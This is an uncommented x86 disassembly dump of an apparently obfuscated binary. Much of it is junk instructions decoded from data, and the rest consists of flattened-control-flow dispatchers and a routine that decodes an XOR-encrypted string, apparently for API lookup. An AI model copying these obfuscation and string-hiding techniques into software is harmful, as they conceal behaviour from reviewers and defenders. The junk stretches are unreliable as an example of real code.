mov esp, 0xdaea00f7
retf 0xe2ab
test eax, 0xa7b712ee
mov fs, word [esi]
fcmovb st(0), st(0)
fcomp qword [edx + edx*2 + 0x687ccb56]
jns 0x6e665f6d
add esi, 0x48
jnp 0x6e665f6f
shr edi, 1
jne 0x6e665f1b
retf
or dword [ebx - 0x5238db1f], esi
ret 0xcedb
dec ecx
nop
int3
adc ch, cl
pop ss
aas
cmp dword [ebx + esi*2], ebp
push ebp
sbb eax, dword [edx - 0x75]
ret 0x6d5d
add eax, 0x69bfe54f
or byte [eax + 0xb], dh
invalid
int1
and dword [ebx - 0x42], edx
int 0xa0
add dword [edx], esp
shr dl, 1
sbb al, 0x51
mul byte [edx]
aad 0x66
jecxz 0x6e66a590
xchg edi, eax
insb byte es:[edi], dx
sar dword [eax], cl
salc
cmpsb byte [esi], byte es:[edi]
xor eax, edi
sti
add dword [ebp - 0x5a], eax
enter 0x37a5, 0xffffffffffffff8b
stc
mov ah, 0x6d
add eax, esp
pop edi
out dx, eax
leave
mov edx, 0x5a3f4761
scasd eax, dword es:[edi]
sbb byte [ebx - 0x4b], 0x57
dec edx
xchg ebx, eax
add dword [eax - 0x80], edi
leave
fsubr dword [ecx - 0x64]
pop es
and al, 0x3b
push ebp
test edi, ecx
inc edx
adc dword [esp + ecx - 0x288d7aa6], esp
sbb al, 0xc6
pop edx
push cs
int1
pop ebx
push edi
sar dword [esi - 0x5398b30b], 1
jb 0x6e66a5ca
test eax, 0x70fe3945
push 0x3c
int1
test dword [esi + 0x1e], esi
push ds
sbb ah, ch
jg 0x6e66a56f
invalid
imul eax, dword [eax + ebp*8 - 0x7e], 0xfffffff5
enter 0x2bba, 0x19
and al, 0xde
ret 0x1fa8
fmul st(0), st(0)
imul ecx, dword [eax - 0x618583c8], 0xdddb0884
nop
int3
xor esi, dword [esi + 0x35]
retf 0xe882
iretd
aas
ja 0x6e66bc20
test byte [ecx - 0x227d8e25], al
sbb al, 0x5a
mov ecx, 0x9f15a58c
push ebx
jae 0x6e66bc57
in al, 0x4c
leave
dec esp
into
call 0x443849dd
push ds
inc ebp
jae 0x6e66bcf8
mov eax, 0xf940d117
inc ebx
cmp eax, 0x97cb1c83
fcom dword [edi - 0x5fe83773]
mov cl, 0xd5
and al, 0x88
in eax, dx
inc ebx
ljmp 0x2ccb
int1
adc bl, byte [esi]
fist dword [eax + ebp*8 + 0x22]
jl 0x6e66bd65
or al, byte [esi + 0x5c5a47f0]
mov ah, 0x46
invalid
int 0xfa
je 0x6e66bdde
imul esp, esi, 0xffffffa3
aaa
and eax, 0x122cad08
pop edi
adc eax, 0xd7b97879
xchg ebx, eax
and dl, byte [eax]
inc edx
sbb al, 0xc
imul ecx, dword [eax + 0x7ea9434a], 0xffffffd9
pop esi
mov eax, 0x18ad199d
fsub st(1)
pop eax
dec esi
ror byte [esi - 0x853074c], 1
add dword es:[ecx], eax
sal bh, 1
int 0x65
cmp eax, 0x74f71e33
push eax
cmp ch, bh
loope 0x6e66bd96
push ds
xor ecx, dword [edx]
invalid
lodsd eax, dword es:[esi]
hlt
pop ecx
enter 0x76a, 0x46
inc esi
jo 0x6e66bde2
xchg esp, eax
fmul dword [esi]
imul esp, dword [eax + ebx*2 + 0x4f5d43ec], 0xdd1f43e4
sbb bl, dh
mov ecx, 0x7b003898
add esp, dword [edx + 0x42]
insd dword es:[edi], dx
cli
pop edi
xor byte [esi + 0x722d34a6], dh
inc edx
mov ebp, ecx
inc edi
and al, 0xac
or ebp, edx
cmp al, byte [ecx + 0x70b0e89a]
sbb dl, cl
inc edi
xor byte [esi + 0x38], bl
daa
inc esi
les edx, [eax - 0x1a243f34]
inc ebx
xor eax, 0xfde7e68d
cmc
mov edi, 0x39634d6e
or byte [esi - 0x24], 0x6e
cmpsb byte [esi], byte es:[edi]
cmpsd dword [esi], dword es:[edi]
out 0xd2, al
mov ebx, 0xdfbb0bf7
scasd eax, dword es:[edi]
inc esi
mov cl, dh
add al, 0x83
jns 0x6e66be93
ljmp 0x70b0:0xe89a813a
dec edi
add dword [ebp + 0x4e965b37], ebx
jb 0x6e66bdcf
push 0xffffffffffffff89
sub al, 0x4f
cmp al, 0x14
lcall 0x3d4, 0xbf6c6409
push ebp
test byte [edx + 0x27], dl
jno 0x6e66be0d
or al, 0xe
xor ebp, dword [0xecd328b4]
mov byte [eax], bh
rcl dword [0x1cbab21e]
pop edi
adc dl, dh
inc ebp
or dword [esi + 0x43], ecx
xlatb
test byte [edx - 0x33], bl
and ecx, dword [ebp - 0x5e]
jge 0x6e66bec0
dec ebp
mov byte [0xee407d3e], al
out dx, al
cmp dword [esi + ecx], ebx
dec ebx
dec ebx
xchg cl, dl
mov esp, 0xbea80f94
stc
in eax, 0x1e
cld
jge 0x6e66be7b
mov cl, 0xe7
sbb edi, dword [edx - 0x29272c9f]
adc ch, byte [edx - 0x785076a4]
push ebx
mov dh, 0x50
mov esp, 0x9c262ee9
test al, 0xe1
pop ds
out dx, eax
mov ebx, 0x1c6b63b1
fst qword [ebp - 0x6d]
cdq
mov al, 0x41
mov al, 0x24
cmp bl, bl
scasd eax, dword es:[edi]
mov dword [0xa66124c5], eax
popal
cmpsb byte [esi], byte es:[edi]
mov bh, ah
aad 0x16
int1
and al, 0x3f
add byte [eax + 0x6f63352], cl
sbb ebp, dword [ebx + 0x299356a6]
sti
std
invalid
invalid
push 0x55997080
sbb dword [ecx + 0x37], ecx
jnp 0x6e66ebdb
adc eax, 0xa28f3293
mov ebx, 0xcc1cfb3c
or eax, 0x78c0d101
add byte [0x51791ae1], 0xf0
jg 0x6e66eba9
aam 0x9b
iretd
dec ebp
adc al, 0xe4
mov bl, 0x5d
sub al, 0xa5
push edi
mov cl, 0xbe
bound ebx, qword [ebp - 0x60]
fimul dword [eax + 0x63263426]
jae 0x6e66ebd4
xor al, 0x26
arpl word [esi], sp
jae 0x6e66ebd4
in eax, 0xbc
inc edx
add ebx, dword [eax + 0x338e6e66]
jb 0x6e66ebf8
wait
push edx
adc eax, 0x3b0ea4a8
dec ebp
push ds
sbb eax, 0x4d67aad0
sub byte [edi], cl
xor al, 0x91
jmp 0x6e66eb99
int 0xb0
imul ebx, ecx, 0xffffff8f
int1
xchg ebp, eax
sbb al, byte [bp - 0x78]
out 0x17, al
jmp 0xa4c1cc20
add eax, 0x74bf1360
rcr byte [ecx + 0x20], cl
ficom word [esi - 0x76a0e5b3]
xor edx, dword [edi - 0x16a150a]
cmp bh, cl
cmp cl, al
xor eax, 0x7b301c67
test byte [eax], 0xe6
and al, 0x77
daa
sub al, 0x1d
int 0xec
add ebx, 0xffffffbf
pop edi
jecxz 0x6e66ec74
dec edi
invalid
fst qword [ebp + 0x257c4ca0]
ret
lahf
pushal
fmul dword [edx + 0x931e81f]
cld
daa
mov eax, dword [ecx]
xor dword [eax - 0x26fd57e2], ebp
pop ss
std
add al, 0x5e
inc esp
test eax, 0x5c9ff079
mov ebp, ecx
sar dl, 0x20
stosb byte es:[edi], al
test dword [edi + edx + 0x23], 0xc50078e6
mov cl, 0x25
lodsd eax, dword [esi]
and al, 0x2a
xchg esi, eax
wait
or eax, 0x50ac28c4
invalid
or al, 0x4e
mov edx, 0x7ba8d0
test al, 0x56
and al, 0xc
lahf
out 0xbe, eax
mov dword [ecx + 0x2c], ebx
shl dword [ebx], cl
pop ecx
dec ebx
sbb bl, byte [eax + 0x39]
invalid
pop edi
and al, 0x2b
inc byte [edi + 0x336eb9e5]
loope 0x6e671a1f
add byte [eax], cl
enter 0x2c89, 0xffffffffffffffac
nop
push ebx
jns 0x6e671a7e
mov ebp, 0x19f2d38c
nop
int3
add byte [eax - 0x1d], al
xor al, 0x53
inc eax
jecxz 0x6e671a98
push ebx
fisubr dword [edx + 0x32072d6d]
sbb byte [ebp - 0xefa8734], dh
jmp 0x6e671a60
pop ebx
jmp 0x6e671ae1
jo 0x6e671a26
cwde
sti
lea ebp, [edi + 0x7ff16b10]
cmpsb byte [esi], byte es:[edi]
pop eax
inc esi
cmp esp, dword [eax - 0x41]
arpl sp, cx
fadd qword [edx + esi*8]
fbstp tbyte [ecx - 0x32525278]
jo 0x6e671a3e
pop ds
sbb dword [edi], 0x4d1a696b
hlt
sbb edx, 0x156951d3
fist word [edx + 0x33885bd0]
push esp
mov cl, bh
imul eax, dword [edi - 0x4a], 0x75ef1516
pushfd
mov esp, 0xd8e04a04
xlatb
insd dword es:[edi], dx
das
out dx, al
push esi
and byte [eax - 0x76680e98], bh
out 0xc7, al
rcl byte [ebp - 0x41bd256a]
sbb dword [edx + edi*2], ebx
pop ebp
invalid
aad 0xd9
inc esp
or esp, dword [edi - 0x4b4e4d75]
inc eax
outsd dx, dword [esi]
mov edx, 0x4c24e2d4
mul byte [esi + 0x16]
or bh, bl
ret
nop
jmp 0x6e674952
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0x18
lea eax, [ebp - 0x162]
mov dword [esp], eax
call fcn.6da3dfac
lea eax, [ebp - 0x162]
mov dword [esp], eax
call fcn.6dbfebe6
test eax, eax
jne 0x6e6897a3
mov dword [ebp - 0xa0], 0x8bfb0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0x6d3e0
mov dword [ebp - 0xa4], 0
mov ecx, dword [ebp - 0xa0]
mov ebx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xa8]
mov edx, dword [ebp - 0xa4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0xf9390
or eax, dword [ebp - 0xac]
nop
mov eax, dword [ebp + 8]
mov dword [esp], eax
call int.6e50d42b
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xc0], 0xe06cf
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0x5d707
mov dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xc8]
sbb edx, dword [ebp - 0xc4]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0xd0]
xor eax, 0xc4dbc
or eax, dword [ebp - 0xcc]
je 0x6e6791ac
mov edx, 0xc4dbc
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6e67c099
mov eax, dword [ebp - 0xd0]
xor eax, 0xb8938
or eax, dword [ebp - 0xcc]
je 0x6e674b44
mov edx, 0xb8938
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6e67c099
mov eax, dword [ebp - 0xd0]
xor eax, 0x982cd
or eax, dword [ebp - 0xcc]
je 0x6e67a924
mov edx, 0x982cd
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6e67c099
mov eax, dword [ebp - 0xd0]
xor eax, 0x88a97
or eax, dword [ebp - 0xcc]
je 0x6e6762bc
mov edx, 0x88a97
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x6e67c099
mov eax, dword [ebp - 0xd0]
xor eax, 0x1e271
or eax, dword [ebp - 0xcc]
je 0x6e677a34
mov eax, dword [ebp - 0xd0]
xor eax, 0x82fc8
or eax, dword [ebp - 0xcc]
je 0x6e67c09c
jmp 0x6e67c099
aas
lodsd eax, dword [esi]
lea edx, [eax]
sub ebp, 0x6c
ret 0x1aab
pop edx
add byte [ecx], cl
mov cl, byte [edi]
adc dword [edi - 0x69], esi
fidivr word [eax - 0x5caf6c6f]
cmc
jmp 0x6cc812eb
pop ecx
ja 0x6e677a99
pop es
mov dh, 0x31
sal byte [edx], 1
in eax, 0x56
xor edi, dword [ebx]
pop ecx
pop esi
call 0x91de40ee
insd dword es:[edi], dx
xor bh, al
iretd
add dword [eax + ecx*8 - 0x51], ebx
or dword [edx], esp
mov al, 0x51
push ecx
jecxz 0x6e677abb
leave
pop ebx
not dword [ebp + 8]
xchg ecx, eax
xchg ecx, eax
aas
ror byte [ecx + eax - 0x40aedae7], 0x14
out dx, al
dec ebx
retf 0xb7c0
cmp al, 0x8b
xchg ebx, eax
adc edi, eax
enter 0x13e0, 0x73
xchg esp, eax
xlatb
cmp al, 0x1d
fcmove st(0), st(0)
mov eax, dword [0xfa07eb43]
shr byte [eax - 0x7c], cl
adc al, 0x1f
movsb byte es:[edi], byte [esi]
inc ebp
sbb eax, 0xfba3c20f
pop edx
or eax, 0x6b7c26d1
movsd dword es:[edi], dword [esi]
in eax, 0x88
add bh, 0x55
lahf
xchg edx, eax
loop 0x6e677a92
imul esi, edx, 0xbe4e79b
xor esi, dword [ecx]
inc eax
out dx, eax
invalid
or al, bh
lcall 0x3856, 0x4ba64c66
fmulp st(3)
sbb eax, 0x96f9c89
loope 0x6e679216
sub esp, edx
lodsd eax, dword [esi]
inc edi
mov ecx, dword [edx - 0x4580441c]
dec esi
mov dh, 0x3f
sub ch, byte [eax]
xor al, 0x44
mov ecx, 0x8330a7a3
push ds
and ah, cl
and eax, 0x97bc68a6
mov ch, 0xa9
push edx
clc
invalid
xchg edi, eax
int3
jmp 0x8023a4ca
nop
jmp 0x6e67c09d
nop
mov dword [ebp - 0x1a0], 0x612e4936
mov dword [ebp - 0x19c], 0x6c3c5800
mov dword [ebp - 0x198], 0x49196f31
mov dword [ebp - 0x194], 0x582c613d
mov dword [ebp - 0x190], 0x6f246c1d
mov dword [ebp - 0x18c], 0x610d492a
mov dword [ebp - 0x188], 0x6c025827
mov dword [ebp - 0x184], 0x49276f00
mov dword [ebp - 0x180], 0x5810611c
mov dword [ebp - 0x17c], 0x6f306c36
mov dword [ebp - 0x178], 0x6112490a
mov dword [ebp - 0x174], 0x6c2c582d
mov dword [ebp - 0x170], 0x49256f36
mov dword [ebp - 0x16c], 0x58216132
mov dword [ebp - 0x168], 0x6f136c3d
mov word [ebp - 0x164], 0
mov dword [ebp - 0xd8], 0xbfe3f
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0xa3a1b
mov dword [ebp - 0xdc], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0xe0]
mov edx, eax
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0xd8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xd8]
mul dword [ebp - 0xe0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0xe8]
xor eax, 0xa75416a5
mov edx, dword [ebp - 0xe4]
xor edx, 0x7a
or eax, edx
je 0x6e683804
mov edx, 0xa75416a5
mov eax, 0x7a
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x6e683807
mov eax, dword [ebp - 0xe8]
xor eax, 0xe0e8f
or eax, dword [ebp - 0xe4]
je 0x6e67f19f
mov edx, 0xe0e8f
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x6e683807
mov eax, dword [ebp - 0xe8]
xor eax, 0xaa509
or eax, dword [ebp - 0xe4]
je 0x6e67c2af
mov edx, 0xaa509
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x6e683807
mov eax, dword [ebp - 0xe8]
xor eax, 0x90e82
or eax, dword [ebp - 0xe4]
je 0x6e67da27
mov edx, 0x90e82
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x6e683807
mov eax, dword [ebp - 0xe8]
xor eax, 0x42bbd
or eax, dword [ebp - 0xe4]
je 0x6e68208f
mov eax, dword [ebp - 0xe8]
xor eax, 0x69488
or eax, dword [ebp - 0xe4]
je 0x6e680917
jmp 0x6e683807
and dword [esi + 0x3948dfce], 0xffffffb5
ja 0x6e67c2e6
fisttp word [eax + 0x39]
mov ch, 0x77
and eax, 0xeecea16d
and eax, 0xeecea16d
idiv dword [0xa3878662]
sbb cl, byte [ebp + 0x502fe473]
xchg dword [ebx - 0x1b8c72e6], esp
das
push eax
xor eax, esp
and esp, dword [edx - 0x7d]
push esp
movsb byte es:[edi], byte [esi]
sub cl, byte ss:[eax - 0x7b]
mov dword [ebx + 0x4661ac9c], ebx
dec eax
cmpsd dword [esi], dword es:[edi]
out 0x8d, eax
inc ecx
xor al, 0xb7
retf
mov bh, 0xcb
mov esp, es
xor edx, eax
mov byte [esp + ebp*2 + 0x72a1b710], 0xe2
loopne 0x6e67c299
wait
rol byte [edi + 0x6f], cl
jo 0x6e67c2b2
repne insd dword es:[edi], dx
push cs
push 0xcc67e922
lcall 0xc983, 0xe3cb3931
leave
add al, 0x88
rcl dword [ebx - 0x65]
push cs
or ebx, ecx
sar byte [edi - 0x47], 0x89
in al, dx
mov dword [0xe82c79f9], eax
stc
sub dword [edx], ebp
jg 0x6e67c338
clc
js 0x6e67c2bd
pop es
pop es
jge 0x6e67c2e0
dec ecx
daa
dec ecx
push es
cdq
bound esp, qword [edi - 0xeb0e3f2]
insd dword es:[edi], dx
jge 0x6e67c2c1
popal
mov ecx, 0xce9b01b6
wait
into
add byte [eax - 0x79], ch
xchg dword [esi], ebx
sbb bh, byte [esi]
loop 0x6e67c2f9
pop ecx
xor dword [edi - 0x79], edi
add al, 0xdc
xchg ebx, eax
push ds
push cs
pop es
cmp eax, dword [esi + 0x778afbf2]
stosd dword es:[edi], eax
push esp
in eax, dx
jae 0x6e67c322
xchg edi, eax
and ah, ch
push ebx
enter 0x22b2, 0xffffffffffffffd8
bound eax, qword [ecx]
and dh, bl
rol byte [edx + 0x59], cl
lock and dword [edx + 0x54], esp
mov dh, 0x48
pop ss
test eax, 0x3832c578
cmp dword [esp + eax*4], ebx
push 0xa3ca0113
nop
int3
dec edx
invalid
fimul word [ecx + 4]
fbld tbyte [bp + di + 0x7a80]
stosb byte es:[edi], al
sbb esi, dword [ecx + 0x7c2790e6]
invalid
jl 0x6e67d9e8
inc esi
lodsd eax, dword [esi]
mov ecx, 0x841f5910
add ecx, ecx
jo 0x6e67da55
mov dh, 0xee
jo 0x6e67d99b
mov byte [0xc8fcc848], al
add eax, 0x8417dc78
insb byte es:[edi], dx
fistp word [edi]
pop ss
test byte [edi + ebx*8 + 0x1f], ch
xchg esi, eax
int3
mov byte [0x9ff4c856], al
or dl, byte [ecx - 0x74]
cmp dh, dh
test eax, 0xe497313d
pushal
xchg ebp, eax
pushal
or al, 0xfa
or esi, esp
mov al, 0xa0
sar dword [ecx - 0x3e], cl
sbb eax, 0x3bebbae1
add bh, byte fs:[edx]
in al, dx
sub ch, byte [ecx - 0x1a]
into
jp 0x6e67da43
loope 0x6e67d9ff
jmp 0x6e67da82
sbb al, 0xfc
fild dword [ebx - 0x54fba4b6]
dec edx
pop ebx
add al, 0xab
sal dword [eax + edi*8 + 0x503a4036], 1
movsb byte es:[edi], byte [esi]
jo 0x6e67da9c
ja 0x6e67da9a
or esi, ebx
dec ebp
lodsb al, byte [esi]
loopne 0x6e67d9f6
leave
jg 0x6e67da0f
mov ebp, 0xbc95eae0
xchg ebp, eax
cld
add al, byte [esi]
iretd
mov esi, 0x785c084c
clc
in eax, dx
sub ecx, ebx
mov ah, 0x42
pop ebx
in eax, dx
pop ecx
mov esp, 0xeb50b4a0
mov ch, 0x6f
jle 0x6e67db08
xor eax, 0x64aa5ed9
inc esi
pop esi
stosb byte es:[edi], al
inc esi
dec ebx
hlt
wait
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
loop 0x6e67daab
adc eax, 0xb871d486
mov cl, 0xdf
stc
aas
int 0x24
cmp ch, byte [ecx + 0x3df10a98]
invalid
clc
sub eax, ebx
rcr cl, cl
sub dh, byte [ebp + 0x25]
add eax, 0x8230fbf2
mov ebx, 0xc180d5e7
jge 0x6e67db66
jne 0x6e67daab
ficomp dword [ebx + 0x4e7f9177]
add al, 0xcb
out 0x46, eax
ret 0x9de9
mov byte [0xb3a96d94], al
popal
pushfd
test esp, esi
or al, 0x61
mov ebx, 0x28eb6aa8
mov byte [ecx], 0x52
cld
fidiv word [edi + 0x14a0412c]
push ds
int3
jmp 0x6e683808
pop ecx
add al, 0x42
enter 0x5d84, 0x74
sbb dword [ebp + eax*2 + 0x72], eax
popal
adc bl, byte [ebx + 0x24]
dec ebx
pop ebx
sal edx, 1
stc
rol dword [ecx + ecx*8], 0x6e
adc eax, 0xc8e2ccfb
insd dword es:[edi], dx
ficomp word [ebp + 0x119d616b]
repne cmpsb byte gs:[esi], byte es:[edi]
and edx, dword [ebp + esi*4 - 0x6b]
mov al, 0x92
xor dword [0xb04fc235], eax
mov dh, 0xa2
pop esi
mov eax, dword cs:[0x4d10e9c8]
dec edx
lea esp, [edx + 0x7e]
sbb dh, bl
xor byte [ecx - 0x7ffd4bf3], 0xc
pop edx
test al, 0xfd
loopne 0x6e67f19a
sbb ecx, ebp
in eax, dx
jecxz 0x6e67f26a
in eax, dx
popfd
salc
add al, 0xb7
cmp cl, byte [ecx + esi*4 - 0x68fbbe2d]
rol dword [ecx + 4], cl
xchg edi, eax
push ss
or eax, 0xc08c4f0a
dec eax
jecxz 0x6e67f1fb
cmp dword [edi], edi
add byte [edi - 0x51273c73], bl
in al, 0x1a
sar esp, 1
clc
fsub qword [edi + ebp*4 + 0x66]
fiadd dword [ebx - 0x66]
std
xchg edx, eax
xchg edi, eax
rcr byte [edx + 0x1b5c0ea0], 0xbf
ljmp 0xf70
push ecx
dec esp
nop
int3
jp 0x6e680914
xchg edx, eax
cmp dword [eax], edx
dec esi
push 0xffffffffffffff90
int3
add byte cs:[eax], al
call 0x3ef05a10
push ebx
sti
xchg dword [ecx + 0x56d96fee], esp
out dx, al
out dx, al
outsd dx, dword [esi]
fst dword [esi - 0x12]
test byte [edi], 0xbe
xor eax, 0x24f1934a
pop es
mov esi, 0xf1934a35
and al, 0x53
push ebx
jg 0x6e680979
push edi
lds ecx, [ebp + 0x78]
out dx, al
je 0x6e680909
in eax, 0xeb
sti
in eax, 0xa
push edx
fldenv [edi - 0x40]
sbb eax, 0x6aa8dc5d
jge 0x6e680926
sbb esi, edi
jbe 0x6e6809ba
rcl esp, cl
and al, 0x98
ljmp 0x8e8
insd dword es:[edi], dx
xor ebx, ecx
call 0xab006764
add dword [ebx + 0x21e9150], ebp
pop eax
scasb al, byte es:[edi]
stosd dword es:[edi], eax
adc cl, bl
aaa
stosd dword es:[edi], eax
test eax, 0x3543e13d
push edx
sbb eax, 0xdfc3641e
scasd eax, dword es:[edi]
rcr byte [esi - 0x14], cl
adc dh, byte [ebx - 0x5b]
jae 0x6e680920
xchg esp, eax
xchg eax, ebp
jno 0x6e68092d
out 0x3e, al
push ecx
clc
stosb byte es:[edi], al
clc
xchg ebp, eax
stosd dword es:[edi], eax
sbb al, 0xd8
mov eax, 0x6416d8b9
mov esi, 0xacf6861a
test dword [ebx + 0x46], esp
sbb al, byte [esi + 0x6385acf6]
inc esi
xchg edx, eax
mov edx, 0x17f27b62
jge 0x6e680954
xchg ecx, eax
mov esi, 0xb13dd811
add dword [ebx - 0x1f], ecx
mov ch, byte [edi + 0x1c6b2371]
pop ecx
add byte [edx + 0x66], bh
fidiv word [ebx - 0x4e52e619]
je 0x6e680990
fcom dword [ecx]
inc eax
push ebp
xlatb
xchg ebp, eax
retf
insd dword es:[edi], dx
cmp ebp, dword [eax + 0x54]
clc
invalid
nop
jmp 0x6e683808
nop
mov dword [esp + 8], str.NIJaiXNlfo
mov dword [esp + 4], 0x3c
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call fcn.6da3dfac
mov dword [ebp - 0xf0], 0x26de6
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf8], 0xd5bda
mov dword [ebp - 0xf4], 0
mov ecx, dword [ebp - 0xf0]
mov ebx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xf4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x100]
xor eax, 0xfc9c0
or eax, dword [ebp - 0xfc]
nop
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
call fcn.6de12485
mov dword [ebp - 0x108], 0x579b0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x110], 0x21b74
mov dword [ebp - 0x10c], 0
mov ecx, dword [ebp - 0x108]
mov ebx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x118]
xor eax, 0xdbff6
or eax, dword [ebp - 0x114]
je 0x6e688020
mov edx, 0xdbff6
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x6e689795
mov eax, dword [ebp - 0x118]
xor eax, 0x79524
or eax, dword [ebp - 0x114]
je 0x6e689798
mov edx, 0x79524
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x6e689795
mov eax, dword [ebp - 0x118]
xor eax, 0x45209
or eax, dword [ebp - 0x114]
je 0x6e6839b8
mov edx, 0x45209
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x6e689795
mov eax, dword [ebp - 0x118]
xor eax, 0x42ce6
or eax, dword [ebp - 0x114]
je 0x6e6868a8
invalid
mov eax, dword [ebp - 0x118]
xor eax, 0x45163
or eax, dword [ebp - 0x114]
je 0x6e685130
jmp 0x6e689795
pushfd
dec esp
dec edi
fdiv st(3), st(0)
mul byte [ebx + 0x19fbc6b1]
jns 0x6e683993
or byte [edx - 0x75], 0xdd
invalid
mov edi, 0x6cd8c403
jle 0x6e68514a
inc edx
ja 0x6e685140
and al, 0xda
inc esi
sub byte [eax + 0xe], dl
popal
invalid
invalid
or dword [ecx - 0x247e60d9], esp
cmp dword [ecx], 0x309bfdaf
jecxz 0x6e686909
mov byte [0x9146a6a5], al
sub ch, byte ss:[eax]
mov dl, 0x70
mov bl, 0x10
retf
xor edi, edx
mov ch, 0x25
int3
push eax
sar dword [ebx + 0x74c75d35], cl
invalid
invalid
inc eax
cli
neg dword [edx - 0x3c]
sub cl, byte [edx - 0x390e7d1b]
cmpsb byte [esi], byte es:[edi]
and ch, byte [ecx]
int3
pop ecx
pop es
pop es
jg 0x6e687fdf
std
push edx
jle 0x6e687fa6
aaa
mov eax, dword [0x95c6c88e]
mov ecx, 0x155a6d4e
pop esp
stosb byte es:[edi], al
jno 0x6e687f92
invalid
in al, dx
sti
out dx, eax
or byte [edx], 0x19
inc ebx
push ecx
jns 0x6e687ff0
and al, 0xd2
ljmp 0x5a43
nop
jmp 0x6e689799
nop
mov eax, 1
jmp 0x6e6f3fc0
mov dword [ebp - 0x88], 0x59d7d
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0x5e535
mov dword [ebp - 0x8c], 0
mov ecx, dword [ebp - 0x88]
mov ebx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0xee649
or eax, dword [ebp - 0x94]
je 0x6e6985a0
mov edx, 0xee649
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0xc5972
or eax, dword [ebp - 0x94]
je 0x6e6927c0
mov edx, 0xc5972
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0xb82b2
or eax, dword [ebp - 0x94]
je 0x6e69faf8
mov edx, 0xb82b2
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0xa29eb
or eax, dword [ebp - 0x94]
je 0x6e68c9e0
mov edx, 0xa29eb
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x93500
or eax, dword [ebp - 0x94]
je 0x6e689af0
mov edx, 0x93500
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x878d4
or eax, dword [ebp - 0x94]
je 0x6e691048
mov edx, 0x878d4
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x622e4
or eax, dword [ebp - 0x94]
je 0x6e696e28
mov edx, 0x622e4
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x60292
or eax, dword [ebp - 0x94]
je 0x6e69cc08
mov edx, 0x60292
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
mov eax, dword [ebp - 0x98]
xor eax, 0x590fa
or eax, dword [ebp - 0x94]
je 0x6e69e380
mov edx, 0x590fa
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x6e69faf5
